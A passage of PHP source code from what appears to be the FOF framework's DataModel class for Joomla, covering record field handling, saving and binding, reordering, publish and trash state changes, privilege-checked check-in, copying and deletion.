$this->{$method}($value); } // If $name is not a field name, set the value of a state variable else { $this->setState($name, $value); } } /** * Returns a temporary instance of the model. Please note that this returns a _clone_ of the model object, not the * original object. The new object is set up to not save its stats, ignore the request when getting state variables * and comes with an empty state. The temporary object instance has its data reset as well. * * @return $this */ public function tmpInstance() { return parent::tmpInstance()->reset(true, true); } /** * Adds a known field to the DataModel. This is only necessary if you are using a custom buildQuery with JOINs or * field aliases. Please note that you need to make further modifications for bind() and save() to work in this * case. Please refer to the documentation blocks of these methods for more information. It is generally considered * a very BAD idea using JOINs instead of relations. It complicates your life and is bound to cause bugs that are * very hard to track back. * * Basically, if you find yourself using this method you are probably doing something very wrong or very advanced. * If you do not feel confident with debugging FOF code STOP WHATEVER YOU'RE DOING and rethink your Model. Why are * you using a JOIN? If you want to filter the records by a field found in another table you can still use * relations and whereHas with a callback. * * @param string $fieldName The name of the field * @param mixed $default Default value, used by reset() (default: null) * @param string $type Database type for the field. If unsure use 'integer', 'float' or 'text'. * @param bool $replace Should we replace an existing known field definition? * * @return $this Self, for chaining */ public function addKnownField($fieldName, $default = null, $type = 'integer', $replace = false) { if (array_key_exists($fieldName, $this->knownFields) && !$replace) { return $this; } $info = (object) [ 'Default' => $default, 'Type' => $type, 'Null' => 'YES', ]; $this->knownFields[$fieldName] = $info; // Initialize only the null or not yet set records if (!isset($this->recordData[$fieldName])) { $this->recordData[$fieldName] = $default; } return $this; } /** * Get the columns from database table. For TableInterface compatibility. * * @return mixed An array of the field names, or false if an error occurs. */ public function getFields() { return $this->getTableFields(); } /** * Get the columns from a database table. * * @param string $tableName Table name. If null current table is used * * @return mixed An array of the field names, or false if an error occurs. */ public function getTableFields($tableName = null) { // Make sure we have a list of tables in this db if (empty(static::$tableCache)) { static::$tableCache = $this->getDbo()->getTableList(); } if (!$tableName) { $tableName = $this->tableName; } // Try to load again column specifications if the table is not loaded OR if it's loaded and // the previous call returned an error if (!array_key_exists($tableName, static::$tableFieldCache) || (isset(static::$tableFieldCache[$tableName]) && !static::$tableFieldCache[$tableName]) ) { // Lookup the fields for this table only once. $name = $tableName; $prefix = $this->getDbo()->getPrefix(); $checkName = substr($name, 0, 3) == '#__' ? $prefix . substr($name, 3) : $name; // Iterate through all lower/uppercase permutations of the prefix if we have a prefix with at least one uppercase letter if (!in_array($checkName, static::$tableCache) && preg_match('/[A-Z]/', $prefix) && (substr($name, 0, 3) == '#__')) { $prefixPermutations = $this->getPrefixCasePermutations(); $partialCheckName = substr($name, 3); foreach ($prefixPermutations as $permutatedPrefix) { $checkName = $permutatedPrefix . $partialCheckName; if (in_array($checkName, static::$tableCache)) { break; } } } if (!in_array($checkName, static::$tableCache)) { // The table doesn't exist. Return false. static::$tableFieldCache[$tableName] = false; } else { $fields = $this->getDbo()->getTableColumns($name, false); if (empty($fields)) { $fields = false; } static::$tableFieldCache[$tableName] = $fields; } // PostgreSQL date type compatibility if (($this->getDbo()->name == 'postgresql') && (static::$tableFieldCache[$tableName] != false)) { foreach (static::$tableFieldCache[$tableName] as $field) { if (strtolower($field->type) != 'timestamp without time zone') { continue; } if (!stristr($field->Default, '\'::timestamp without time zone')) { continue; } [$date,] = explode('::', $field->Default, 2); $field->Default = trim($date, "'"); } } } return static::$tableFieldCache[$tableName]; } /** * Get the database connection associated with this data Model * * @return \JDatabaseDriver */ public function getDbo() { if (!is_object($this->dbo)) { $this->dbo = $this->container->db; } return $this->dbo; } /** * Returns the data currently bound to the model in an array format. Similar to toArray() but returns a copy instead * of the internal table itself. * * @return array */ public function getData() { $ret = []; foreach (array_keys($this->knownFields) as $field) { $ret[$field] = $this->getFieldValue($field); } return $ret; } /** * Return the value of the identity column of the currently loaded record * * @return mixed */ public function getId() { return $this->{$this->idFieldName}; } /** * Returns the name of the table's id field (primary key) name * * @return string */ public function getIdFieldName() { return $this->idFieldName; } /** * Alias of getIdFieldName. Used for TableInterface compatibility. * * @return string The name of the primary key for the table. * * @codeCoverageIgnore */ public function getKeyName() { return $this->getIdFieldName(); } /** * Returns the database table name this model talks to * * @return string */ public function getTableName() { return $this->tableName; } /** * Returns the value of a field. If a field is not set it uses the $default value. Automatically uses magic * getter variables if required. * * @param string $name The name of the field to retrieve * @param mixed $default Default value, if the field is not set and doesn't have a getter method * * @return mixed The value of the field */ public function getFieldValue($name, $default = null) { if (array_key_exists($name, $this->aliasFields)) { $name = $this->aliasFields[$name]; } if (!array_key_exists($name, $this->knownFields)) { return $default; } if (!isset($this->recordData[$name])) { $this->recordData[$name] = $default; } return $this->recordData[$name]; } /** * Sets the value of a field. * * @param string $name The name of the field to set * @param mixed $value The value to set it to * * @return void */ public function setFieldValue($name, $value = null) { if (array_key_exists($name, $this->aliasFields)) { $name = $this->aliasFields[$name]; } if (array_key_exists($name, $this->knownFields)) { $this->recordData[$name] = $value; } } /** * Applies the getSomethingAttribute methods to $this->recordData, converting the database representation of the * data to the record representation. $this->recordData is directly modified. * * @return void */ public function databaseDataToRecordData() { foreach ($this->recordData as $name => $value) { $method = $this->container->inflector->camelize('get_' . $name . '_attribute'); if (method_exists($this, $method)) { $this->recordData[$name] = $this->{$method}($value); } } } /** * Applies the setSomethingAttribute methods to $this->recordData, converting the record representation to database * representation. It does not modify $this->recordData, it returns a copy of the data array. * * If you are using custom knownFields to cater for table JOINs you need to override this method and _remove_ the * fields which do not belong to the table you are saving to. It's generally a bad idea using JOINs instead of * relations. You have been warned! * * @return array */ public function recordDataToDatabaseData() { $copy = array_merge($this->recordData); foreach ($copy as $name => $value) { $method = $this->container->inflector->camelize('set_' . $name . '_attribute'); if (method_exists($this, $method)) { $copy[$name] = $this->{$method}($value); } } return $copy; } /** * Does this model know about a field called $fieldName? Automatically uses aliases when necessary. * * @param string $fieldName Field name to check * * @return boolean True if the field exists */ public function hasField($fieldName) { $realFieldName = $this->getFieldAlias($fieldName); return array_key_exists($realFieldName, $this->knownFields); } /** * Is this field known to the model and marked as nullable in the database? * * Automatically uses aliases when necessary. * * @param string $fieldName Field name to check * * @return bool True if the field is nullable or doesn't exist */ public function isNullableField(string $fieldName): bool { if (!$this->hasField($fieldName)) { return true; } $realFieldName = $this->getFieldAlias($fieldName); return strtolower($this->knownFields[$realFieldName]->Null ?? 'YES') == 'yes'; } /** * Get the real name of a field name based on its alias. If the field is not aliased $alias is returned * * @param string $alias The field to get an alias for * * @return string The real name of the field */ public function getFieldAlias($alias) { if (array_key_exists($alias, $this->aliasFields)) { return $this->aliasFields[$alias]; } else { return $alias; } } /** * Returns an array mapping relation names to their local key field names. * * For example, given a relation "foobar" with local key name "example_item_id" it will return: * ["foobar" => "example_item_id"] * * @return array Array of [relationName => fieldName] arrays * * @throws \FOF40\Model\DataModel\Relation\Exception\RelationNotFound */ public function getRelationFields() { $fields = []; $relationNames = $this->relationManager->getRelationNames(); if (empty($relationNames)) { return $fields; } foreach ($relationNames as $name) { $fields[$name] = $this->relationManager->getRelation($name)->getLocalKey(); } return $fields; } /** * Returns the qualified foreign model name, in the format "componentName.modelName", for the specified model * field. First it checks the relations you have defined. If none is found it will try to parse the field name as * following the componentName_modelName_id naming convention (FOF best practice and recommendation). * * This feature is used by the Blade compiler. * * @param string $fieldName The field name for which we'll get a foreign model name * * @return string */ public function getForeignModelNameFor($fieldName) { // First look for a local field mapped in a relationship try { $relationMap = $this->getRelationFields(); $relationName = array_search($fieldName, $relationMap); if ($relationName !== false) { $model = $this->relationManager->getRelation($relationName)->getForeignModel(); $component = $model->getContainer()->componentName; $modelName = $model->getName(); return "$component.$modelName"; } } catch (RelationNotFound $e) { // Bummer. The relation cannot be found. I will fall back to parsing the field name. } // Do I have a field following the componentName_modelName_id format? $parts = explode('_', $fieldName); if ((substr($fieldName, -3) != '_id') || (count($parts) < 3)) { throw new \RuntimeException("Cannot determine the foreign model for local field '$fieldName'; it does not follow the expected component_model_id convention."); } $fieldName = substr($fieldName, 0, -3); [$component, $modelName] = explode('_', $fieldName, 2); $modelName = $this->container->inflector->camelize($modelName); return "$component.$modelName"; } /** * Save a record, creating it if it doesn't exist or updating it if it exists. By default it uses the currently set * data, unless you provide a $data array. * * Special note if you are using a custom buildQuery with JOINs or field aliases: * You will need to override the recordDataToDatabaseData method. Make sure that you _remove_ or rename any fields * which do not exist in the table defined in $this->tableName. Otherwise Joomla! will not know how to insert / * update the data on the table and will throw an Exception denoting a database error. It is generally a BAD idea * using JOINs instead of relations. If unsure, use relations. * * @param null|array $data [Optional] Data to bind * @param string $orderingFilter A WHERE clause used to apply table item reordering * @param array $ignore A list of fields to ignore when binding $data * * @para boolean $resetRelations Should I automatically reset relations if relation-important fields are * changed? * * @return DataModel Self, for chaining */ public function save($data = null, $orderingFilter = '', $ignore = null, $resetRelations = true) { // Stash the primary key $oldPKValue = $this->getId(); // Call the onBeforeSave event $this->triggerEvent('onBeforeSave', [&$data]); // Get the relation to local field map and initialise the relationsAffected array $relationImportantFields = $this->getRelationFields(); $dataBeforeBind = []; // If we have relations we keep a copy of the data before bind. if (count($relationImportantFields) > 0) { $dataBeforeBind = array_merge($this->recordData); } // Bind any (optional) data. If no data is provided, the current record data is used if (!is_null($data)) { $this->bind($data, $ignore); } $isNewRecord = empty($oldPKValue) ? true : $oldPKValue != $this->getId(); // Check the validity of the data $this->check(); // Get the database object $db = $this->getDbo(); // Insert or update the record. Note that the object we use for insertion / update is the a copy holding // the transformed data. $dataObject = $this->recordDataToDatabaseData(); $dataObject = (object) $dataObject; if ($isNewRecord) { $this->triggerEvent('onBeforeCreate', [&$dataObject]); // Insert the new record $db->insertObject($this->tableName, $dataObject, $this->idFieldName); // Update ourselves with the new ID field's value $this->{$this->idFieldName} = $db->insertid(); // Rebase the relations with the newly created model if ($resetRelations) { $this->relationManager->rebase($this); } $this->triggerEvent('onAfterCreate'); } else { $this->triggerEvent('onBeforeUpdate', [&$dataObject]); $db->updateObject($this->tableName, $dataObject, $this->idFieldName, true); $this->triggerEvent('onAfterUpdate'); } // If an ordering filter is set, attempt reorder the rows in the table based on the filter and value. if ($orderingFilter) { $filterValue = $this->$orderingFilter; $this->reorder($orderingFilter ? $db->qn($orderingFilter) . ' = ' . $db->q($filterValue) : ''); } foreach ($this->touches as $relation) { $records = $this->getRelations()->getData($relation); if (!empty($records)) { if ($records instanceof DataModel) { $records = [$records]; } /** @var DataModel $record */ foreach ($records as $record) { $record->touch(); } } } // If we have relations we compare the data to the copy of the data before bind. if (count($relationImportantFields) && $resetRelations) { // Since array_diff_assoc doesn't work recursively we have to do it the EXCRUCIATINGLY SLOW WAY. Sad panda :( $keysRecord = (is_array($this->recordData) && !empty($this->recordData)) ? array_keys($this->recordData) : []; $keysBefore = (is_array($dataBeforeBind) && !empty($dataBeforeBind)) ? array_keys($dataBeforeBind) : []; $keysAll = array_merge($keysRecord, $keysBefore); $keysAll = array_unique($keysAll); $modifiedFields = []; foreach ($keysAll as $key) { if (!isset($dataBeforeBind[$key]) || !isset($this->recordData[$key])) { $modifiedFields[] = $key; } elseif ($dataBeforeBind[$key] != $this->recordData[$key]) { $modifiedFields[] = $key; } } unset ($dataBeforeBind); if (count($modifiedFields) > 0) { $relationsAffected = []; unset($modifiedData); foreach ($relationImportantFields as $relationName => $fieldName) { if (in_array($fieldName, $modifiedFields)) { $relationsAffected[] = $relationName; } } // Reset the relations which are affected by the save. This will force-reload the relations when you try to // access them again. $this->relationManager->resetRelationData($relationsAffected); } } // Finally, call the onAfterSave event $this->triggerEvent('onAfterSave'); return $this; } /** * Alias of save. For TableInterface compatibility. * * @param boolean $updateNulls Blatantly ignored. * * @return boolean True on success. */ public function store($updateNulls = false) { try { $this->save(); } catch (\Exception $e) { return false; } return true; } /** * Save a record, creating it if it doesn't exist or updating it if it exists. By default it uses the currently set * data, unless you provide a $data array. On top of that, it also saves all specified relations. If $relations is * null it will save all relations known to this model. * * @param null|array $data [Optional] Data to bind * @param string $orderingFilter A WHERE clause used to apply table item reordering * @param array $ignore A list of fields to ignore when binding $data * @param array $relations Which relations to save with the model's record. Leave null for all * relations * * @return $this Self, for chaining */ public function push($data = null, $orderingFilter = '', $ignore = null, array $relations = null) { // Store the model's $touches definition $touches = $this->touches; $this->touches = is_array($relations) ? array_diff($this->touches, $relations) : []; // Save this record $this->save($data, $orderingFilter, $ignore, false); // Push all relations specified (or all relations if $relations is null) $relManager = $this->getRelations(); $allRelations = $relManager->getRelationNames(); foreach ($allRelations as $relationName) { if (!is_null($relations) && !in_array($relationName, $relations)) { continue; } $relManager->save($relationName); } // Restore the model's $touches definition $this->touches = $touches; // Return self for chaining return $this; } /** * Method to bind an associative array or object to the DataModel instance. This method optionally takes an array of * properties to ignore when binding. * * Special note if you are using a custom buildQuery with JOINs or field aliases: * You will need to use addKnownField to let FOF know that the fields from your JOINs and the aliased fields should * be bound to the record data. If you are using aliased fields you may also want to override the * databaseDataToRecordData method. Generally, it is a BAD idea using JOINs instead of relations. * * @param mixed $data An associative array or object to bind to the DataModel instance. * @param mixed $ignore An optional array or space separated list of properties to ignore while binding. * * @return static Self, for chaining * * @throws \InvalidArgumentException * @throws \Exception */ public function bind($data, $ignore = []) { $this->triggerEvent('onBeforeBind', [&$data]); // If the source value is not an array or object return false. if (!is_object($data) && !is_array($data)) { throw new \InvalidArgumentException(Text::sprintf('LIB_FOF40_MODEL_ERR_BIND', get_class($this), gettype($data))); } // If the ignore value is a string, explode it over spaces. if (!is_array($ignore)) { $ignore = explode(' ', $ignore); } // Bind the source value, excluding the ignored fields. foreach (array_keys($this->recordData) as $k) { // Only process fields not in the ignore array. if (!in_array($k, $ignore)) { if (is_array($data) && isset($data[$k])) { $this->setFieldValue($k, $data[$k]); } elseif (is_object($data) && isset($data->$k)) { $this->setFieldValue($k, $data->$k); } } } // Perform data transformation $this->databaseDataToRecordData(); $this->triggerEvent('onAfterBind', [$data]); return $this; } /** * Check the data for validity. By default it only checks for fields declared as NOT NULL * * @return static Self, for chaining * * @throws \RuntimeException When the data bound to this record is invalid */ public function check() { if (!$this->autoChecks) { return $this; } // Run a custom event $this->triggerEvent('onBeforeCheck'); // Create a slug if there is a title and an empty slug $slugField = $this->getFieldAlias('slug'); $titleField = $this->getFieldAlias('title'); if ($this->hasField('title') && $this->hasField('slug') && !$this->$slugField) { $this->$slugField = ApplicationHelper::stringURLSafe($this->$titleField); } // Special handling of the ordering field if ($this->hasField('ordering') && is_null($this->getFieldValue('ordering'))) { $this->setFieldValue('ordering', 0); } foreach ($this->knownFields as $fieldName => $field) { // Never check the key if it's empty; an empty key is normal for new records if ($fieldName == $this->idFieldName) { continue; } $value = $this->$fieldName; if (isset($field->Null) && ($field->Null == 'NO') && empty($value) && !is_numeric($value) && !in_array($fieldName, $this->fieldsSkipChecks)) { if (!is_null($field->Default)) { $this->$fieldName = $field->Default; continue; } $text = $this->container->componentName . '_' . $this->container->inflector->singularize($this->getName()) . '_ERR_' . $fieldName . '_EMPTY'; throw new \RuntimeException(Text::_(strtoupper($text)), 500); } } return $this; } /** * Change the ordering of the records of the table * * @param string $where The WHERE clause of the SQL used to fetch the order * * @return static Self, for chaining * * @throws \UnexpectedValueException */ public function reorder($where = '') { // If there is no ordering field set an error and return false. if (!$this->hasField('ordering')) { throw new SpecialColumnMissing(sprintf('%s does not support ordering.', $this->tableName)); } $this->triggerEvent('onBeforeReorder', [&$where]); $order_field = $this->getFieldAlias('ordering'); $k = $this->getIdFieldName(); $db = $this->getDbo(); // Get the primary keys and ordering values for the selection. $query = $db->getQuery(true) ->select($db->qn($k) . ', ' . $db->qn($order_field)) ->from($db->qn($this->getTableName())) ->where($db->qn($order_field) . ' >= ' . $db->q(0)) ->order($db->qn($order_field) . 'ASC, ' . $db->qn($k) . 'ASC'); // Setup the extra where and ordering clause data. if (!empty($where)) { $query->where($where); } $rows = $db->setQuery($query)->loadObjectList(); // Compact the ordering values. foreach ($rows as $i => $row) { // Make sure the ordering is a positive integer. if ($row->$order_field < 0) { continue; } // Only update rows that are necessary. if ($row->$order_field == $i + 1) { continue; } // Update the row ordering field. $query = $db->getQuery(true) ->update($db->qn($this->getTableName())) ->set($db->qn($order_field) . ' = ' . $db->q($i + 1)) ->where($db->qn($k) . ' = ' . $db->q($row->$k)); $db->setQuery($query)->execute(); } $this->triggerEvent('onAfterReorder'); return $this; } /** * Method to move a row in the ordering sequence of a group of rows defined by an SQL WHERE clause. * Negative numbers move the row up in the sequence and positive numbers move it down. * * @param integer $delta The direction and magnitude to move the row in the ordering sequence. * @param string $where WHERE clause to use for limiting the selection of rows to compact the * ordering values. * * @return static Self, for chaining * * @throws \UnexpectedValueException If the table does not support reordering * @throws \RuntimeException If the record is not loaded */ public function move($delta, $where = '') { if (!$this->hasField('ordering')) { throw new SpecialColumnMissing(sprintf('%s does not support ordering.', $this->tableName)); } $this->triggerEvent('onBeforeMove', [&$delta, &$where]); $ordering_field = $this->getFieldAlias('ordering'); // If the change is none, do nothing. if (empty($delta)) { $this->triggerEvent('onAfterMove'); return $this; } $k = $this->idFieldName; $db = $this->getDbo(); $query = $db->getQuery(true); // If the table is not loaded, return false if (empty($this->$k)) { throw new RecordNotLoaded(sprintf("Model %s does not have a loaded record", $this->getName())); } // Select the primary key and ordering values from the table. $query->select([ $db->qn($this->idFieldName), $db->qn($ordering_field), ] )->from($db->qn($this->tableName)); // If the movement delta is negative move the row up. if ($delta < 0) { $query->where($db->qn($ordering_field) . ' < ' . $db->q((int) $this->$ordering_field)); $query->order($db->qn($ordering_field) . ' DESC'); } // If the movement delta is positive move the row down. elseif ($delta > 0) { $query->where($db->qn($ordering_field) . ' > ' . $db->q((int) $this->$ordering_field)); $query->order($db->qn($ordering_field) . ' ASC'); } // Add the custom WHERE clause if set. if (!empty($where)) { $query->where($where); } // Select the first row with the criteria. $row = $db->setQuery($query, 0, 1)->loadObject(); // If a row is found, move the item. if (!empty($row)) { // Update the ordering field for this instance to the row's ordering value. $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($db->qn($ordering_field) . ' = ' . $db->q((int) $row->$ordering_field)) ->where($db->qn($k) . ' = ' . $db->q($this->$k)); $db->setQuery($query)->execute(); // Update the ordering field for the row to this instance's ordering value. $query = $db->getQuery(true) ->update($db->qn($this->tableName)) ->set($db->qn($ordering_field) . ' = ' . $db->q((int) $this->$ordering_field)) ->where($db->qn($k) . ' = ' . $db->q($row->$k)); $db->setQuery($query)->execute(); // Update the instance value. $this->$ordering_field = $row->$ordering_field; } $this->triggerEvent('onAfterMove'); return $this; } /** * Process a large collection of records a few at a time. * * @param integer $chunkSize How many records to process at once * @param callable $callback A callable to process each record * * @return $this Self, for chaining */ public function chunk($chunkSize, $callback) { $totalItems = $this->count(); if ($totalItems === 0) { return $this; } $start = 0; while ($start < ($totalItems - 1)) { $this->get(true, $start, $chunkSize)->transform($callback); $start += $chunkSize; } return $this; } /** * Get the number of all items * * @return integer */ public function count() { // Get a "count all" query $db = $this->getDbo(); $query = $this->buildQuery(true); $query->clear('select')->clear('order')->select('COUNT(*)'); // Run the "before build query" hook and behaviours $this->triggerEvent('onBuildCountQuery', [&$query]); return $db->setQuery($query)->loadResult(); } /** * Build the query to fetch data from the database * * @param boolean $overrideLimits Should I override limits * * @return \JDatabaseQuery The database query to use */ public function buildQuery($overrideLimits = false) { // Get a "select all" query $db = $this->getDbo(); $query = $db->getQuery(true) ->select('*') ->from($this->getTableName()); // Run the "before build query" hook and behaviours $this->triggerEvent('onBeforeBuildQuery', [&$query, $overrideLimits]); // Apply custom WHERE clauses if (count($this->whereClauses) > 0) { foreach ($this->whereClauses as $clause) { $query->where($clause); } } $order = $this->getState('filter_order', null, 'cmd'); if (!array_key_exists($order, $this->knownFields)) { $order = $this->getIdFieldName(); $this->setState('filter_order', $order); } $order = $db->qn($order); $dir = strtoupper($this->getState('filter_order_Dir', '', 'cmd')); if (!in_array($dir, ['ASC', 'DESC'])) { $dir = 'ASC'; $this->setState('filter_order_Dir', $dir); } $query->order($order . ' ' . $dir); // Run the "before after query" hook and behaviours $this->triggerEvent('onAfterBuildQuery', [&$query, $overrideLimits]); return $query; } /** * Returns a DataCollection iterator based on your currently set Model state * * @param boolean $overrideLimits Should I ignore limits set in the Model? * @param integer $limitstart How many items to skip from the start, only when $overrideLimits = true * @param integer $limit How many items to return, only when $overrideLimits = true * * @return DataCollection The data collection */ public function get($overrideLimits = false, $limitstart = 0, $limit = 0) { if (!$overrideLimits) { $limitstart = $this->getState('limitstart', 0); $limit = $this->getState('limit', 0); } $dataCollection = DataCollection::make($this->getItemsArray($limitstart, $limit, $overrideLimits)); $this->eagerLoad($dataCollection); return $dataCollection; } /** * Returns a raw array of DataModel instances based on your currently set Model state * * @param integer $limitstart How many items from the start to skip (0 = do not skip) * @param integer $limit How many items to return (0 = all) * @param bool $overrideLimits Set to true to override limitstart, limit and ordering * * @return array Array of DataModel objects */ public function &getItemsArray($limitstart = 0, $limit = 0, $overrideLimits = false) { $itemsTemp = $this->getRawDataArray($limitstart, $limit, $overrideLimits); $items = []; while (!empty($itemsTemp)) { $data = array_shift($itemsTemp); /** @var DataModel $item */ $item = clone $this; $item->clearState()->reset(); $item->bind($data); $items[$item->getId()] = $item; $item->relationManager = clone $this->relationManager; $item->relationManager->rebase($item); } $this->triggerEvent('onAfterGetItemsArray', [&$items]); return $items; } /** * Returns the raw data array, as fetched from the database, based on your currently set Model state * * @param integer $limitstart How many items from the start to skip (0 = do not skip) * @param integer $limit How many items to return (0 = all) * @param bool $overrideLimits Set to true to override limitstart, limit and ordering * * @return array Array of hashed arrays */ public function &getRawDataArray($limitstart = 0, $limit = 0, $overrideLimits = false) { $limitstart = max($limitstart, 0); $limit = max($limit, 0); $query = $this->buildQuery($overrideLimits); $db = $this->getDbo(); $db->setQuery($query, $limitstart, $limit); $rawData = $db->loadAssocList(); return $rawData; } /** * Eager loads the provided relations and assigns their data to a data collection * * @param DataCollection $dataCollection The data collection on which the eager loaded relations will be * applied * @param array|null $relations The relations to eager load. Leave empty to use the already defined * relations * * @return $this for chaining */ public function eagerLoad(DataCollection &$dataCollection, array $relations = null) { if (empty($relations)) { $relations = $this->eagerRelations; } // Apply eager loaded relations if ($dataCollection->count() && !empty($relations)) { $relationManager = $this->getRelations(); foreach ($relations as $relation => $callback) { // Did they give us a relation name without a callback? if (!is_callable($callback) && is_string($callback) && !empty($callback)) { $relation = $callback; $callback = null; } $relationData = $relationManager->getData($relation, $callback, $dataCollection); $foreignKeyMap = $relationManager->getForeignKeyMap($relation); /** @var DataModel $item */ foreach ($dataCollection as $item) { $item->getRelations()->setDataFromCollection($relation, $relationData, $foreignKeyMap); } } } return $this; } /** * Archive the record, i.e. set enabled to 2 * * @return $this For chaining */ public function archive() { if (!$this->getId()) { throw new RecordNotLoaded("Can't archive a not loaded DataModel"); } if (!$this->hasField('enabled')) { return $this; } $this->triggerEvent('onBeforeArchive'); $enabled = $this->getFieldAlias('enabled'); $this->$enabled = 2; $this->save(); $this->triggerEvent('onAfterArchive'); return $this; } /** * Trashes a record, either the currently loaded one or the one specified in $id. If an $id is specified that record * is loaded before trying to trash it. Unlike a hard delete, trashing is a "soft delete", only setting the enabled * field to -2. * * @param mixed $id Primary key (id field) value * * @return $this for chaining */ public function trash($id = null) { if (!empty($id)) { $this->findOrFail($id); } $id = $this->getId(); if (!$id) { throw new RecordNotLoaded("Can't trash a not loaded DataModel"); } if (!$this->hasField('enabled')) { throw new SpecialColumnMissing("DataModel::trash method needs an 'enabled' field"); } $this->triggerEvent('onBeforeTrash', [&$id]); $enabled = $this->getFieldAlias('enabled'); $this->$enabled = -2; $this->save(); $this->triggerEvent('onAfterTrash', [&$id]); return $this; } /** * Change the publish state of a record. By default it will set it to 1 (published) unless you specify a different * value. * * @param int $state The publish state. Default: 1 (published). * * @return $this For chaining */ public function publish($state = 1) { if (!$this->getId()) { throw new RecordNotLoaded("Can't change the state of a not loaded DataModel"); } if (!$this->hasField('enabled')) { return $this; } $this->triggerEvent('onBeforePublish'); $enabled = $this->getFieldAlias('enabled'); $this->$enabled = $state; $this->save(); $this->triggerEvent('onAfterPublish'); return $this; } /** * Unpublish the record, i.e. set enabled to 0 * * @return $this For chaining */ public function unpublish() { if (!$this->getId()) { throw new RecordNotLoaded("Can't unpublish a not loaded DataModel"); } if (!$this->hasField('enabled')) { return $this; } $this->triggerEvent('onBeforeUnpublish'); $enabled = $this->getFieldAlias('enabled'); $this->$enabled = 0; $this->save(); $this->triggerEvent('onAfterUnpublish'); return $this; } /** * Untrashes a record, either the currently loaded one or the one specified in $id. If an $id is specified that * record is loaded before trying to untrash it. Please note that enabled is set to 0 (unpublished) when you untrash * an item. * * @param mixed $id Primary key (id field) value * * @return $this for chaining */ public function restore($id = null) { if (!$this->hasField('enabled')) { return $this; } if (!empty($id)) { $this->findOrFail($id); } $id = $this->getId(); if (!$id) { throw new RecordNotLoaded("Can't change the state of a not loaded DataModel"); } $this->triggerEvent('onBeforeRestore', [&$id]); $enabled = $this->getFieldAlias('enabled'); $this->$enabled = 0; $this->save(); $this->triggerEvent('onAfterRestore', [&$id]); return $this; } /** * Creates a copy of the current record. After the copy is performed, the data model contains the data of the new * record. * * @param array|DataModel An associative array or object to bind to the DataModel instance. Allows you to * override values on the copied object. * * @return DataModel */ public function copy($data = null) { $this->triggerEvent('onBeforeCopy'); $this->{$this->idFieldName} = null; if ($this->hasField('created_by')) { $this->setFieldValue('created_by'); } if ($this->hasField('modified_by')) { $this->setFieldValue('modified_by'); } if ($this->hasField('locked_by')) { $this->setFieldValue('locked_by'); } if ($this->hasField('created_on')) { $this->setFieldValue('created_on'); } if ($this->hasField('modified_on')) { $this->setFieldValue('modified_on'); } if ($this->hasField('locked_on')) { $this->setFieldValue('locked_on'); } $result = $this->save($data); $this->triggerEvent('onAfterCopy', [&$result]); return $result; } /** * Check-in an item. This works similar to unlock() but performs additional checks. If the item is locked by another * user you need to have adequate ACL privileges to unlock it, i.e. core.admin or core.manage component-wide * privileges; core.edit.state privileges component-wide or per asset; or be the creator of the item and have * core.edit.own privileges component-wide or per asset. * * @return $this * * @throws LockedRecord If you don't have the privilege to check in this item */ public function checkIn($userId = null) { // If there is no loaded record we can't do much, I'm afraid if (!$this->getId()) { throw new RecordNotLoaded("Can't checkin a not loaded DataModel"); } // If the lock fields are missing we have nothing to do if (!$this->hasField('locked_by') && !$this->hasField('locked_on')) { return $this; } // If there's no locked_by field we just unlock and return if (!$this->hasField('locked_by')) { return $this->unlock(); } // If the current user and the user who locked the record are the same, unlock it. if (empty($userId)) { $userId = $this->container->platform->getUser()->id; } $lockedBy = $this->getFieldValue('locked_by'); if (empty($lockedBy) || ($lockedBy == $userId)) { return $this->unlock(); } // Get the component privileges $platform = $this->container->platform; $component = $this->container->componentName; $privileges = [ 'editown' => $platform->authorise('core.edit.own', $component), 'editstate' => $platform->authorise('core.edit.state', $component), 'admin' => $platform->authorise('core.admin', $component), 'manage' => $platform->authorise('core.manage', $component), ]; // If we are trackign assets get the item's privileges if ($this->isAssetsTracked()) { $assetKey = $this->getAssetKey(); $assetPrivileges = [ 'editown' => $platform->authorise('core.edit.own', $assetKey), 'editstate' => $platform->authorise('core.edit.state', $assetKey), ]; foreach ($assetPrivileges as $k => $v) { $privileges[$k] = $privileges[$k] || $v; } } // If you are a Super User, component manager or allowed to edit the state of records we unlock it if ($privileges['admin'] || $privileges['manage'] || $privileges['editstate']) { return $this->unlock(); } // If you are the owner of the record and have core.edit.own privilege we will unlock it. $owner = 0; if ($this->hasField('created_by')) { $owner = $this->getFieldValue('created_by'); } if ($privileges['editown'] && ($owner == $userId)) { return $this->unlock(); } // All else failed, you don't have the privilege to unlock this item. throw new LockedRecord; } /** * Reset the record data * * @param boolean $useDefaults Should I use the default values? Default: yes * @param boolean $resetRelations Should I reset the relations too? Default: no * * @return static Self, for chaining */ public function reset($useDefaults = true, $resetRelations = false) { $this->recordData = []; $this->whereClauses = []; foreach ($this->knownFields as $fieldName => $information) { $this->recordData[$fieldName] = $useDefaults ? $information->Default : null; } if ($resetRelations) { $this->relationManager->resetRelationData(); $this->eagerRelations = []; } $this->relationFilters = []; $this->triggerEvent('onAfterReset', [$useDefaults, $resetRelations]); return $this; } /** * Automatically performs a hard or soft delete, based on the value of $this->softDelete. A soft delete simply sets * enabled to -2 whereas a hard delete removes the data from the database. If you want to force a specific behaviour * directly call trash() for a soft delete or forceDelete() for a hard delete. * * @param mixed $id Primary key (id field) value * * @return $this for chaining */ public function delete($id = null) { if ($this->softDelete) { return $this->trash($id); } else { return $this->forceDelete($id); } } /** * Delete a record, either the currently loaded one or the one specified in $id. If an $id is specified that record * is loaded before trying to delete it. In the end the data model is reset. * * @param mixed $id Primary key (id field) value * * @return $this for chaining */ public function forceDelete($id = null) { if (!empty($id)) { $this->findOrFail($id); } $id = $this->getId(); if (!$id) { throw new RecordNotLoaded("Can't delete a not loaded DataModel object"); } $this->triggerEvent('onBeforeDelete', [&$id]); $db = $this->getDbo(); $query = $db->getQuery(true) ->delete() ->from($this->tableName) ->where($db->qn($this->idFieldName) . ' = ' . $db->q($id)); $db->setQuery($query)->execute(); $this->triggerEvent('onAfterDelete', [&$id]); $this->reset(); return $this; } /** * Generic check for whether dependencies exist for this object in the db schema. This method is NOT used by * default. If you want to use it you will have to override your delete(), trash() or forceDelete() method, * or create an onBeforeDelete and/or onBeforeTrash event handler. * * @param integer $oid The primary key of the record to delete * @param array $joins Any joins to foreign table, used to determine if dependent records exist * * @return void * * @throws \RuntimeException If you should not delete the record (the message tells you why) */ public function canDelete($oid = null, $joins = null) { $pkField = $this->getKeyName(); if ($oid) { $this->$pkField = (int) $oid; } if (!$this->$pkField) { throw new \InvalidArgumentException('Master table should be loaded or an ID should be passed'); } if (is_array($joins)) { $db = 